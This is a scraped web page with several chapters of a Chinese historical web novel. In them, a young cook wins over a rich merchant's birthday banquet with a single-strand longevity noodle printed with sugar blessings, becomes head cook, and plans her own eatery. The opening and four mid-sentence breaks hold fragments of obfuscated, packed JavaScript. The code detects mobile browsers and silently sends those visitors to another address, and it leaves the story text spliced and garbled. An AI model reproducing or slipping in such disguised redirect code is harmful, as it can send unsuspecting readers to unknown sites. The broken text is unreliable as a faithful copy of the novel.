l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946504|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那豚肉要剁馅儿，你不是刀工好吗？就辛苦把肉剁成肉泥。” 他要做得是道藕夹，这藕夹的肉馅儿只需要正常剁就行，剁到跟包子孙饽饽一个程度已经算很好。 可他非要让剁成泥，就是不考虑备菜丫头的死活，只在乎自己能不能做出精品菜肴了。 梁琪就没见过这样的，先前的张铛头儿，连带先来那两位厨子，可从不会提这样的要求。 她可不惯着小人，直接说：“没空。” 果然，这不客气的语气让小人王礼皱起眉头：“你一个备菜丫头的指责就是备菜，竟说没空？昨儿刚得罪吕把头儿和王司长，今儿也要把我得罪了吗？是盘盏没洗够？” 听听，多大的口气啊。 梁琪把面团往陶盆礼“啪”一扔：“你去告诉王司长好了，看他是听你的挑唆，还是听把头儿的话。” 王礼面露狐疑，他就是那狐假虎威的狐狸，打压下属，献媚领导，一说是把头儿交代的活儿，就成哑炮了。 既然梁琪欺负不得，他又转而看向采荷：“你总能干吧？” 采荷瞪圆眼睛：“没瞧见我也没空吗？” 没了张铛头儿的厨司已然是乱七八糟，原本的三个备菜人，一个被“特指”为厨子，一个昨儿被借派到台盘司，只剩采荷一人，根本忙不完备菜的活儿。 所以昨日，那俩厨子几乎是又备菜又做菜，忙得不可开交，才勉强没让主家看出错漏。 好在那两个厨子的基本功都还不错，一个厨子本就经历了从刀工到烹饪的全部训练，即便备菜丫头不够使，厨子也能自行备菜、做菜。 司局有备菜丫头一职，只是为了提高效率，让整个厨司有条不紊的运行。 王礼被采荷这么一吼，人都傻愣在原地。 怎么回事？他不是被提为厨子了吗？不是这些备菜丫头的顶头上司吗？怎的会是这样的待遇？ 他正要拿出架子来规训采荷，就听梁琪先开口了。 “采荷今儿要给我备菜。”梁琪说，“王厨子，今儿把头儿要我亲自给郭员外做菜，活计是把头儿亲自安排的，若是不服，你亲自就去找把头儿。” 王礼气得脸都涨红了，偏偏又不敢多说一句。 他叔都交代了，刚提为厨子，万事一定要谨慎，莫要要人抓了小辫子。 可他不服啊！ 且不说两个丫头敢不敬着他，单是那梁琪，把头儿竟让她亲自给郭员外做菜，什么意思？要把她提为厨子吗？厨司还能有四个厨子？还是说他会从厨子的位置上被撸下来，继续做小娘子才干的备菜活计？ 但凡是个有能力的人，都知道此刻该稳住心神，好好把菜做出彩才是正道。 偏这王礼是个没能力的花架子，已经慌了神，想去找把头儿问清楚，又不敢去，就想着去找他叔。 就在这时，王司长来了。 王礼跟看到救命道菜似的迎上去，结结实实把梁琪和采荷告了一状：“叔，您是厨司司长，梁琪那丫头得听你的，你快别让她做菜了，老老实实备菜。” 王司长的目光幽幽看来。 采荷有些害怕，紧张地拉着梁琪。 下一秒，王司长回头骂了亲侄儿一句：“蠢货！” 22. 长寿面（二） 王礼被骂得一愣，再想跟亲叔说些什么，王司长却已经转身走了。 徒留他像只没人护着的秃鹫，显得可恶又可怜。 梁琪本根没把王礼放在眼里，那就是只色厉内荏的草包，至于王司长，倒是个聪明人。 能分得清孰轻孰重，侄儿的提拔固然重要，却没重要到那自己的前程去换，那不，已经明哲保身地溜走了。 王司长刚走，厨司另外两名厨子就来了。 昨个儿就一名备菜丫头，今儿可不得早来，亲手备菜，手忙脚乱的感觉他们可不想再体验一次了。 那俩厨子一位姓田，一位姓邢，也都在四司六局待了好几年了，相比于一来就当厨子的王礼，他们还是觉得梁琪和采荷更有亲切感。 尤其昨日王礼刚当上厨子，处处霸着采荷，让采荷专给他一人备菜。 他又十分蠢笨，做菜手忙脚乱，和游刃有余半点不沾边，简直跟个跳大神的猩猩。 田、邢二人虽多有不满，又顾及他是王司长的亲侄子，也只能忍气吞声。 今日得知梁琪也要做菜，心中皆是十分欢喜，盼望着梁琪赶紧把那王礼给比下去，他们再也不用和蠢笨之人搭伙。 梁琪做菜就很游刃有余，且她只做一道，和了面醒着，暂且没有旁的事时就干起老本行，帮田厨子和邢厨子备备菜。 除去跳大神的王礼不算，厨房里基本上恢复了张铛头儿在时的和谐。 这些老人儿们无一不怀念那个时候的厨司，就越发把怒气转移到王礼身上，要不是他，厨司能变得这般乱七八糟吗？ 梁琪的面和好了，便进到智能厨房中，用面条机来压切面条。 今日是郭员外的生辰，她要的菜不是什么豪华珍馐，只是一道普普通通的长寿面。 这长寿面虽说普通，却也暗藏着心思。 因而不能手擀，只能用智能厨房里的面条机来做。 旁人的面条机，无非是把和好的面团放进去，经过一遍一遍的辊轧后，面团被辊成光洁面片，过切刀，把面片切成要想宽度的面条。 梁琪的面条机也是这个原理，只不过多了一道程序——便是能在面条上“刻字”。 面条表面被刻上字，什么“福寿永昌”、“芳龄永继”、“福如东海，寿比南山”、“新婚快乐，百年好合”之类的美好字眼应有尽有。 当初她参加好友的婚礼，新娘子在吃百年好合面时，那面上就有一排排的字。 作为一名厨子，她当即就研制了这种面条的新奇做法，其实不难，都是机器压出来的，市面上就有这种面条机卖。 梁琪个败家子当即就买了一台，跟收藏展品似的好好摆在自家厨房中，虽然一次都没用过，光是摆在那看着心情也好。 面条机吞进去面团，经过多遍辊轧，成了薄薄的面片，表面光洁得几乎能反光。 下一步就是“刻字”，说是刻字，其实并不是真的“刻”，那字则是印上去的褐色的蔗糖，也就是红糖，薄薄一层，即不凹陷，也不凸起。 或是用和小麦粉颜色不同的高粱米或玉米面，也能呈现出字体形状，只是面粉印字易散，导致字体肥大，不如蔗糖的字体更精致。 梁琪选用蔗糖来印刷字体，选了祝寿之类的吉祥话语，在面皮上印出长长一排。 好友婚宴上的百年好合面，是数十根面条，每根面上都有字，今儿既是长寿面，就做成一根足够长的面条，一整碗面只有一根。 等印好字体，接下来就是切面。 梁琪选了把二宽的切刀，架在面条机上，所谓“二宽”，就是比韭菜叶子宽上一倍的宽度，足够把字刚好留在正中间。 很快，面条切出来了。 二宽的面条徐徐从机器嘴儿处吐出，落在下方铺满面粉的案板上，自动盘旋起来，像一条盘着的长龙，那浅褐色的字体，就如同龙身上的龙鳞，在灯光下熠熠生辉，煞是好看。 她把面条小心带出来，转移到陶盆中，蒙上笼布保鲜。 要做长寿面，还得有卤子或是汤底。 因为是宽面，梁琪选择高汤做汤底，厨房里照旧吊着羊骨高汤，用来下面再合适不过。 临近正午，台盘司的人已经在外面候着了，时候一到，就得上菜。 田、邢两位厨子的菜品已经陆陆续续出锅了，虽然忙碌，倒也有条不紊。 反观王礼，没了备菜丫头，自己又厨艺平平，竟一道菜还没做出来。 固有印象中，备菜丫头是最微不足道的存在，可是不然，备菜丫头的用处可大着呢，成为半个厨子也不过分。 就像当初在李府做的枣花酥，备菜丫头要准备油酥、水油皮，还有枣泥馅儿，这几样材料都是极为关键的步骤，而厨子只需要做最后包和烤的步骤即可。 王礼昨日有采荷这个备菜丫头，做得还算顺利，今日失了得力干将，就是个折翼的秃鹫，干扑棱，就是飞不起来。 台盘司的人急得直催他，可越是催，王厨子就越是慌乱，最终以把锅铲失手丢进水缸中收场。 这可真是一颗老鼠屎坏了一锅粥，一支油污的锅铲污染一整缸的水，水夫气得差点打人。 所有人都在心里暗暗腹诽：成事不足败事有余的蠢货。 然而没人理他，自己手头上的事尚且忙不完，哪有闲工夫管别家门前雪。 台盘司一道接着一道上菜，一般来说，上菜一旦开始就不能停下来了。 田、邢两位厨子各自做了十二道菜，已经在收尾了，王厨子勉勉强强做出四五道，剩下的还没着落。 眼看菜线要断了。 王礼差点哭出来，央求几人说：“田厨子、邢厨子，左右你们忙完了，帮帮我吧。” 邢厨子哼了一声：“菜都是你自己挑的，怎的这会儿知道求人了？昨日不是还高高在上的？” 田厨子则有些犹豫着说：“要不咱们给他做了吧，这王礼固然可恶，可若耽误了主家的筵席，把头儿要罚的可是整个厨司。” 这么一说，邢厨子也犹豫了，他可不想被扣工钱。 正沉默着，梁琪突然说：“再等等。” 上菜虽不能断，每两道菜之间也有一定的时间间隔，尚且能再拖延，且前院的主家和宾客正在尽欢，真有些许延误，也不一定能看出来。 “厨司的总管是王司长，他才是该着急的人。” 俩厨司懂了梁琪的意思，菜线真要是断了，最着急的不是他们，而是王司长。 就让王司长好好瞧瞧，他亲手提拔上来的好侄子，是怎么坑叔的。 于是几人继续不搭理王礼，任凭台盘司如何催促，都无动于衷。 现在比的就是谁先沉不住气。 果不其然，当王礼几近崩溃时，王司长来了。 一来就阴沉着脸训斥：“你们怎么做事的？菜线要断了瞧不出来吗？” 邢厨子耸耸肩：“司长，我和老田的菜都做完了，两个小娘子的菜也备完了。” 王司长瞬间懂了，合着都是王礼的罪过 他咬着牙问：“厨司上下一荣俱荣、一损俱损，你们忙完自己的活，就不能棒棒他？” 王礼把感激的目光投向亲书，他已经人仰马翻了。 邢厨子却说：“是王厨子一早挑选了自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955103|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜，为防我们争抢，还在菜名上做了标记，如此费心，我们要是抢着做，岂不是不好？” 王礼：“……” 自作孽啊！ 王司长的脸都黑了，这蠢笨如猪的王礼，自己当初怎么就为了五贯钱的贿赂，许了他当厨子？ 他狠狠瞪了眼快要碎掉的侄子，沉声说：“按加菜的规矩来，多做一道菜，加一道菜是二十文工钱。” 依旧没人动…… 王司长怎么会不明白，有张铛头儿的事情在前，谁也不会干先出力再拿钱的买卖。 于是当即把钱袋子往灶台上一仍：“现钱。” 既然有钱，田厨子打了个圆场：“来吧老邢，还得咱哥俩出马。” 邢厨子装作不情不愿，倒也挽起袖子。 两位厨子冲梁琪眨眨眼，嘿，解气。 这小娘子还真别说，关键时候沉得住气，又聪明厨艺又好，不说有大将风范，也有当总铛头儿的潜质。 莫名有种张铛头儿在时的安全感。 有了两位厨子的加入，让王礼抓耳挠腮的菜品很快做了出来，总算没耽误上菜。 等菜上齐，梁琪的面也要开始下锅了。 面条在浓白的高汤中翻滚、浮沉，充分吸收汤汁的香味，和青菜一起煮熟。 煮熟后的面和菜被捞进一盏宽沿圆口白瓷碗中，浇上羊汤，码上卤熟的羊肉片、火腿片、虾仁，和一片圆溜溜的煎鸡蛋。 一碗色香味俱全的长寿面就做好了。 梁琪亲自捧着去给郭员外送去。 前院，前厅。 相比李府和于府，郭家的宴席上显得更为热闹。 郭员外早年在乡野长大，那时候虽然穷，但乡里乡亲间的感情很是淳朴，如今发达了，便把幼时有交情的乡邻全请来，相比于文人雅士间的宴席，这里的难怪更为喧闹、接地气些。 郭员外瞧着也高兴些。 他站起身，大声问旁边一位花白头发的老者：“三伯，这菜吃得可还满意？” 那老者上了年纪，约莫耳背，说话声音也很大：“满意，好吃，二郎出息了。” 郭员外目光柔和地笑了笑，他都已经六十了，在世的长辈只有这一位了，往后也是见一面，少一面，吃一顿，少一顿。 三伯伯是看着他从小长到大的，当年他跟着漕运跑生意，三伯伯总往他的包袱里塞饼子和鸡蛋。 这些事他都记得，因此跟三伯十分亲。 一旁的吕把头儿也松了口气，厨司如今没有铛头儿，只有两个厨子并着一个关系户，总担心做出的饭菜不能让郭员外满意。 好在郭家的亲戚朋友都没怎么见过世面，烧鸡肉丸大肘子都能吃得津津有味，只要亲朋好友吃得好，郭员外这寿过得就开心。 三伯年纪大了，记性不太好，却仍记得二郎的生辰，抓着郭员外的手颤颤巍巍地问：“二郎生辰，可吃寿面了？” 他们村里不富裕，但生日的时候都是要吃百岁面的，哪怕打不起荷包蛋，也要吃一碗素面。 郭员外不知道四司六局备下长寿面了没，疑问的目光看向吕把头儿。 吕把头儿心里一咯噔。 菜都上完了，哪有长寿面的影子？厨司八成没准备。 他嘴上说着：“有、有。” 慌忙让人去厨司传话，让厨子赶紧做一碗长寿面来。 一碗面费不了多少功夫，希望厨司能动作快些，别让郭员外觉得司局敷衍。 传话的人还没走，忽听台盘司的人喊道：“长寿面来喽——” 一个面容清秀的小娘子，捧着面碗款款迈进门。 23. 长寿面（三） 吕把头儿瞬间松了口气。 厨司做了四十多道菜，硬是没一道长寿面，梁琪只做了一道，却是点睛之笔。 他一时不知道该夸厨司迂腐，还是梁琪机灵，幸而晨起答应了小丫头的要求。 这碗面来的太及时了。 梁琪端着面来到郭员外面前：“员外，这是厨司做得长寿面，祝您青山常驻、日月长明。” 郭员外笑着对三伯说：“您瞧，长寿面这不就来了。” 三伯伯乐呵呵说：“有就好，二郎，你快吃。” 郭员外秉承吃面先喝汤的习惯，先尝了一口面汤，入口的瞬间就被惊艳到了。 和清汤长寿面不同，羊骨吊出来的面汤实在是太鲜美了，浓郁的羊汤奶香十足，没有一点腥膻，几乎鲜掉舌头。 “二郎，味道如何？”三伯伯慈爱地说，“从前咱们村子里，做寿面最好的就是你阿娘，她做得寿面啊，一整碗只有一根面，叫‘一路坦途’，那才是真正的长寿呢。” 郭员外记得，他阿娘最擅长做面，村里有人过生辰总会央求阿娘做碗寿面，阿娘也不收钱，邻居硬是塞个几个鸡蛋，或是几颗鲜果子。 梁琪笑说：“郭员外、老相公，这碗面中便是只有一根面。” 郭员外惊喜地问：“当真？” 说着，便拿起筷箸高高抄起面条，他个头儿本就高，一直把面抄过头顶都没到头，面也没断，可见筋道。 三伯眼神不好，眯着眼睛看见面前极长的面条，拍手笑道：“不错不错，果然是一整根，小娘子有心了。” 郭员外见三伯伯笑得合不拢嘴，自己也开心。 “咦？这寿面上还有字呢！” 不知道谁惊奇地喊了一声。 面上竟然有字，这可是闻所未闻的稀奇事，周围的宾客全都围上来瞧稀罕，啧啧称奇声响成一片。 郭员外从怀里取出叆叇架到鼻梁上，凑近了去看那寿面。 果不其然，面上真的有一行行的文字，字体是规整的宋体，呈黄褐色，吉祥的祝福语不带重样，在洁白的面条上一一呈现，让他想起绣在被面上的佛经。 佛经难绣，这面条上的字更是难做啊。 他震惊地问梁琪：“这、这也是你做的？” 梁琪笑着点点头：“正是妾身为郭员外贺寿所做，这字所用的材料是红糖，亦可入口。” “啧啧啧，当真是新奇，这嗦饼上写字，咱们可是从未见过。” “尤其那字还是用红糖写的，就更费功夫了。” “这四司六局果然用心，做碗寿面都能做出花来，可见厨子厨艺高超。” “郭员外有福气啊，瞧这话语多吉利啊，员外定能长命百岁。” “……” “别说你们没见过，老夫做生意走南闯北，也没见过这样的面啊。”郭员外笑得很舒心，将面吸入一大口。 面条连着面汤一同吸入口中，味道自是不用说，口感也是绝佳，薄薄的面条几近透明，油光水滑，又十分筋道。 一连吃了好几口，郭员外露出享受的表情，又问梁琪，“小娘子，这字这么漂亮，竟是你写的？” 当然不是梁琪亲手写的，说实话，让她写，她也能用红糖在面上写出这样的字来。 于是毫不愧疚地点点头。 郭员外来了兴致：“当真？” 这种场合，梁琪倒是丝毫不怯场，大大方方说：“您若是不嫌弃，妾身愿意题一幅寿字图，献给员外。” 左右宴席也接近尾声，宾客们兴致也高，郭员外毫不犹豫地招招手：“笔墨伺候。” 立刻有人搬来高桌，铺好毛毡、大红描金宣纸，摆上砚台和中号的狼毫，另有家奴添水研磨。 梁琪挽起袖子，提笔蘸墨，落笔一个篆书的“寿”字。 小时候，班里流行上兴趣班，钢琴班、舞蹈班、游泳班……各式各样，想来也不是班里的同学爱学习，约莫只是一种潮流或是家长之间的攀比罢了。 她那个时候就只对美食感兴趣，人家上兴趣班，她偷溜到少年宫的后厨，看大师傅做饭，还跟人要米糕吃。 后来被亲爸发现，拿着柳条就是一顿打，小姑娘耐不住打，选了书法班。 为什么呢？因为后厨那个大师傅告诉她，想要学做饭，首先练刀工，想要刀工好，必须手腕稳。 小姑娘挨打后边哭边琢磨，想练稳手腕，似乎书法也是个不错的选择。 故而改报了书法班，倒也能好好跟着老师练悬腕。 人家是为了学书法而练悬腕，她是为了稳住手腕而练书法。 宣纸已经落了好几个“寿”字，字体各不相同，有大篆“寿”、小篆“寿”、隶书“寿”、行书“寿”、行草“寿”、楷书“寿”、草书“寿”……整整九个“寿”字，齐齐跃然纸上。 周围的称赞声此起彼伏。 梁琪写完最后一笔，像佳肴出锅一样，潇洒收笔，而后谦逊地一欠身：“妾身献丑。” 郭员外弯起的嘴角就没放下过，大赞了一声：“妙哉！” 三伯伯虽然不识字，听说小娘子会写字，还能在面条上写，也不住地夸。 其实这书法顶多算入门，放在外行人眼里或许还像模像样，可若是让大书法家评判，就是小儿科了。 好在梁琪是女子，此时的人们不会用苛求士大夫的眼光来苛求一位小娘子，能写成这样已然是很不错。 且这幅字妙就妙在新颖和寓意，用九种不同字体来书写寿字，九九归一，多好的意头。 郭员外自然是满意的，当场就要赏梁琪。 面做得新颖，贺寿题字也新颖，让今日的老寿星如此愉悦，怎能不赏？ 郭员外是富商，他这一出手，可比李相公、于相公大方的多。 梁琪登时就入账三贯。 乐得梁小娘子差点儿找不着北。 吕把头儿不近不远地看着梁琪领赏，嘴角噙着一丝笑意，这小娘子倒是有趣，同样是做菜，其他厨子做了一二十道，没一道能出彩到让主家打赏，而她只做了一道，就能让主家乐呵呵地打赏。 一般的小娘子能认字就已不错，她不但能写，还能在面条上写，别说郭老员外，换做他是主家，也会打赏这小娘子。 有这样的本事，当铛头儿倒也不是不行。 吕把头儿正出神，忽然看到梁琪冲他摆手：“把头儿，愣什么神啊？快来，郭员外有请！” 他忙拱着手上前，口中说着吉祥话，心里还在疑惑叫自己来做什么？刚才好在赏梁琪呢，怎的一转眼，话题到自己身上了？ 梁琪笑说：“郭员外夸您呢，说把头儿把宴席办得十分好，十分真诚，没有因为郭家是民非官而敷衍，说也要赏您点什么。” 吕把头儿连连摆手：“多谢郭员外赏识，司局办好宴席是份内的事，实在不敢劳烦员外赏赐。” 再者，他是司局总把头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958718|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿，赚得可不是一般人能望其项背，就拿郭员外这场寿宴来说，郭家要支给他六百贯，除去宴席布置、茶酒、果子、食材等花销，以及白席人的工钱，净赚也有两百贯。 梁琪拿三贯赏钱就高兴得上天，他可真不差那五贯十贯的。 因此推拒得实心实意。 “梁小娘子也是这么说的，说你差的不是钱，而是名声。”郭员外乐呵呵地说，“她提议老夫送司局一面锦旗，绣上‘厨艺精湛味天下、服务一流暖如家’的字样，你看可好？” 吕把头儿：“……” 这什么玩意儿？ 他扯了扯嘴角：“锦、锦旗？” 梁琪忙解释：“类似招旗，总之是夸咱们四司六局好口碑的好物件。” 相比于赏钱，吕把头儿还是想要口碑，忙不迭的点点头：“这感情好。” 梁琪捂嘴轻笑。 前院没有她的事了，梁琪功成身退，回到厨房找采荷。 厨房里一堆人，不仅采荷在，田、邢两位厨子也在，连王礼都磨磨蹭蹭地没活找活，就为了等前院的消息。 梁琪去送寿面前，几人都是亲眼瞧见那面条的精妙之处的，采荷断言，郭员外一定会喜出望外，这样的巧思谁会不惊喜？ 田、邢两位厨子也是极为惊叹，不得不承认，不管论厨艺还是论巧思，梁琪都太强了，就是张铛头儿在时都比不上。 梁琪被提拔为厨子，他们是没意见的，毕竟梁琪当备菜丫头多年，基本功没得说，厨艺也磨练得不错。 但若是直接当铛头儿，说实话，他们心里有些不服。 可这股不服也就持续了一顿饭的时间，等梁琪捧出那碗带字的面时，他们就知道，这丫头有当铛头儿的潜质。 此刻他们在这儿等着，也是为了等前院的消息，那碗面到底能让主家多开心？ 至于王礼，也是在等，只不过是焦急地等。 吕把头儿让梁琪做菜，直接威胁地就是他的地位，若是梁琪成了厨子，他就得再次跌回备菜人。 可那碗面太强了，强到他不敢面对结果。 可惜再不敢面对，梁琪也回来了。 “琪娘，怎么样？”采荷迎上去问道。 梁琪面带笑容：“郭员外很是满意。” 话音刚落，有人来传话了，是吕把头儿的差使：“吕头儿说，厨司铛头儿一职由梁琪接任，望梁、田、邢三位大厨同心同德，为厨司再续佳绩。” 这话摆明了只认梁、田、邢三人是厨子，提都没提王礼的事。 自诩为大厨的王礼脸上一阵青、一阵白，觉得有无数嘲讽的目光看过来，一时受不住，竟然跑走了。 走了一个王礼根本无人在意，厨司几人纷纷向梁琪道贺。 梁琪也不含糊，当即取出一吊钱，玩笑着说：“走，本铛头儿请你们喝香饮子去。” - 梁琪到底没去喝香饮子，心里还记挂着另一件事。 她把钱拿给采荷，让采荷带着两位厨子、以及厨司其他的白席人去买饮子喝。 郭宅的宴席结束了，厨司的活儿也干完了，天色倒是还早，白席人可以返回家中，买饮子是顺道的事。 厨司的白席人忙活完了，台盘司的还没有，撤下来的杯盘碗盏得洗到天黑了。 梁琪推开西屋的门，屋里静悄悄的，只有个白净小娘子在默默洗盘子。 她笑意盈盈地说：“我又来了。” 24. 宝阳郡主 张德发停下手里的活儿，转头一看，面露惊喜：“梁小娘子？来河市买菜啊？” 梁琪点点头：“买些羊肉、豚肉，和小麦粉。” 羊肉卷要赶紧做，汤包和面条也要事先备好，今日要买的食材还真不少。 张德发爽朗地笑了声：“听说了，那孟记食铺的汤包和羊肉卷都是你供货嘛，还有这几日卖得不错那喜面，也是出自你之手。” 不得不说，梁小娘子很有天赋，不仅有做饭的天赋，做生意也是一把好手。 要知道，做饭好的人不一定会做生意，比如他自己。 梁琪笑了笑，问：“您怎么在这儿啊？这腌菜是？” 张德发不好意思地挠挠头：“我在这儿卖腌菜。” 梁琪很是诧异，曾经四司六局的铛头儿，就算不做铛头儿了，钱财应该也没少积攒，又有一手的好厨艺，怎么会到来河市卖腌菜？ 张德发看出梁琪的疑惑，解释了一番。 原来张铛头儿从四司六局离开后，也在一些酒楼脚店寻过厨子的活计，不曾想，得到的答复都是一样的：不要。 这就很可疑了，明明是个手艺上佳的大厨，竟都不用，甚至连工钱都没谈就做出这样的答复。 梁琪猜测：“像是被人交代过。” “的确，打招呼的人正是吕把头儿。”张德发说，“他应是和酒楼行会的行头儿说了，行头儿又告知底下的铺子，都不许用我。” 梁琪愤愤道：“这吕把头儿真可恶！” 先前她还觉得吕把头儿只是个重利的商人，德行倒还过得去，也是到现在，才发现那就是个极为阴狠的人，既然注定了张铛头儿结仇，就一定要把人按死，不留一点让仇人反扑的可能。 以吕把头儿的地位，想命令行会的酒楼一行的行头儿不是那么轻松，怕是也花了大价钱，才让行头儿答应他的谋算。 这样的人难道不是阴狠？ 看来往后在四司六局，自己得更加小心谨慎。 “既然食铺去不了，那为何不去其他司局？”她又想到一条出路，“各司局之间是竞争对手，又不受行会管束，旁的司局把头儿必不会买吕把头儿的帐啊？” 张德发怎么没去过？他几乎把汴京城的四司六局跑遍了。 可吕把头儿的司局一家独大，其他司局都是小打小闹，倒是肯要他做铛头儿的，只是工钱少得可怜。 他哪接受得了这般落差，还不如在河市卖腌菜，起码不用受人管束。 “梁小娘子，不瞒你说，我甚至还打算自己开家食铺。”他有些尴尬地笑了笑，“可内子说我只会做饭，不是做生意的料，是花钱打水漂，还不如安安生生地卖腌菜，也就作罢了。” 梁琪知道张叔的为人，性子是直了些，有时还有些急躁，当纯手艺人的厨子是再合适不过，倒的确不太适合做生意，一辈子的积蓄若是打了水漂，那还真不如稳当着来。 至于张铛头儿的娘子，她听采荷说起过，据说是身子不太好，只能在家相夫教子，生意上帮不上什么忙。 算来算去，卖腌菜竟是当前最合适的营生。 梁琪有开食铺的打算，原本计划厨子一职是自己留着的，再招募个掌柜，此刻看到张铛头儿才华埋没，突然觉得厨子的位置可以留给他。 她不知道自己的食铺可以开多大，或许最开始是个小食铺，慢慢能发展成大酒楼也不一定啊。 自己总不能一直困于灶台前。 昨日她又清点了钱箱，算上这些日子卖喜面的营收，也有五十多贯了。 这些钱虽然卖不了铺面，更租赁不了大酒楼，等再攒攒，租个小铺面还是足够的。 开铺子的梦近在眼前，厨子的人选也近在眼前，得先预定下来。 梁琪笑说：“张叔，我预备开个小食铺，到时候请你来当大厨可好？工钱好说。” 张德发睁大了眼睛，脱口而出：“你个还不到二十的小娘子都要自己开铺子了？” 说完，他突然意识到，梁琪虽然才十七岁，可厨艺已经不凡，做生意的头角也逐渐展露出来，只要有足够的本钱，当即就开也不是可能。 若是梁琪愿意请他去当大厨那当然再好不过了，肯定比在这卖腌菜强得多。 他笑说：“怪我小瞧人了，梁小娘子，等你的食铺开起来，我一定去。” 梁琪如今不是备菜丫头了，铛头儿的工钱可比备菜丫头高得多。 按四司六局的规定，备菜丫头的工钱是三百，普通厨子的工钱是一千钱，铛头儿的工钱是一千六百钱，也就是两贯。 攒起钱来倒不是难事。 又唠了一会儿，眼瞅着时间不早，该去卖肉了。 张德发连忙捞出一块自家腌的腌菜放进碗中，让梁琪带回家尝尝鲜，又指着他那板车说：“要是买的食材太多不好拿，就先把我这车拉走，等卸了货再还回来就是。” 梁琪要买的食材还真有些多，怕是背不动，有辆板车倒也方便。 这板车和太平车还不一样，不如太平车装得货物多，好处便是一人或拉着或推着就能走。 她便道了声谢，推着板车去买食材。 河市的规模可不小，类似后世一站购齐的大超市，很快就把要买的食材全都买齐了。 等买好食材回到家，门口等着个闲汉。 那闲汉梁琪眼熟，是四司六局的，见到梁铛头儿回来就上前传口信，司局又有生意了。 从前梁琪是备菜丫头，自是不必打听主家太多闲事，只需要做好份内的活计就好，至于主家的基本情况以及口味，那是铛头儿该考虑的事。 现在不同了，她是铛头儿，不仅要负责做菜，还得制定菜单，所以主人家的习性、喜好都得一一问清楚。 司局的闲汉和后世意义上的闲汉不同，乃是一种职业，即专门跑腿传话的人，因只负责跑腿传话，没有正经的活计，才被称为闲汉。 故而，闲汉对主家的情况一早就打听得十分清楚，现下正要说与梁琪听。 这回要办宴席的主家不是旁人，正是汴京城中大名鼎鼎的恒王。 说起恒王，连梁琪这个穿来没多久的人都听说过，乃是当今地位最尊崇的亲王，官家的亲弟弟。 这位恒王战功十分卓著，曾替先皇和官家立下不少军功，是当之无愧的实权亲王。 像这种实权派的亲王大多为皇帝所忌讳，哪怕是亲兄弟。 早年的确有功高震主的流言传出，好在恒王是个知进退的主儿，便自请交出军权，杜绝了造反的丁点儿可能，如今上了年岁，更是请旨辞去身上一切官职，只保留个亲王的爵位，令官家再无任何后顾之忧。 官家念及功勋和亲情，许了亲弟弟及后代满门荣耀。 恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965403|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王已经年逾五十，朝着耳顺之年莽奔，仍旧谨言慎行，这么高的地位，却连宴席都不大操大办，只邀了至交好友，算作家宴。 家宴请四司六局，多少有点军刀切黄瓜的意思。 闲汉告诉梁琪，是于相公给老恒王特意推荐的他们司局，说厨司做得麻叶酥酪特别好。 梁琪：“……” 合着根源还在她这儿。 恒王这辈子是什么都不缺，想吃厨司做的菜肴，干脆请了整个四司六局，也不算什么稀罕事。 梁琪了解主家的大致情况，又问起主家及宾客的口味。 闲汉一早向王府的得力人打听了，恒王没什么忌口，早年行军打仗吃惯了苦，自是什么菜式都吃得下。 倒是恒王的独女，宝阳郡主，据说是个口味难伺候的。 梁琪心中了然，谢过闲汉，又与他抓了一把自己腌制晾晒的田枣干和蜜饯，算是谢礼。 又要上工了，梁琪首先要做的，依旧是把家中的事打理好。 汤包和羊肉卷的安排已是熟门熟路，只要多做些给孟二娘送去，储存在食铺的冰窖里即可。 至于喜面的生意——如今正是喜面热卖的时候，必然不能关门大吉，把哗啦啦的铜钱拒之门外。 她都想好了，卖喜面不麻烦，无非就是一手收钱、一手交货的事，买卖地点就在家中，交与莹姐儿和元哥儿两人，应该不成问题。 莹姐儿算账快，又正在学管账，收钱和记账都是把好手；元哥儿既是练家子，体力活就给他包揽了，有开封府皂隶的名头在，想来也没人轻易来搞乱。 也不让两个小的白辛苦，照常发工钱就是。 等梁莹和梁元回到家，梁琪把想法跟他们一说，两人痛痛快快答应下来。 梁莹跟着姜娘子学管账，尚且在学习的阶段，姜娘子没放手把食铺的账本交由她来管。 她正缺一次练手的机会，现下阿姐把喜面的账目交给她，虽是简单至极，到底是本完整独立的账目，总算能好好练手了。 梁元也很兴奋，现在管着一个家的安全，将来就能管着一县、一郡、一城、甚至一方疆土的治安，也算用用武之地了。 何况还有工钱拿。 阿姐可比食铺和开封府大方多了，工钱给得足足的，就是让人有动力。 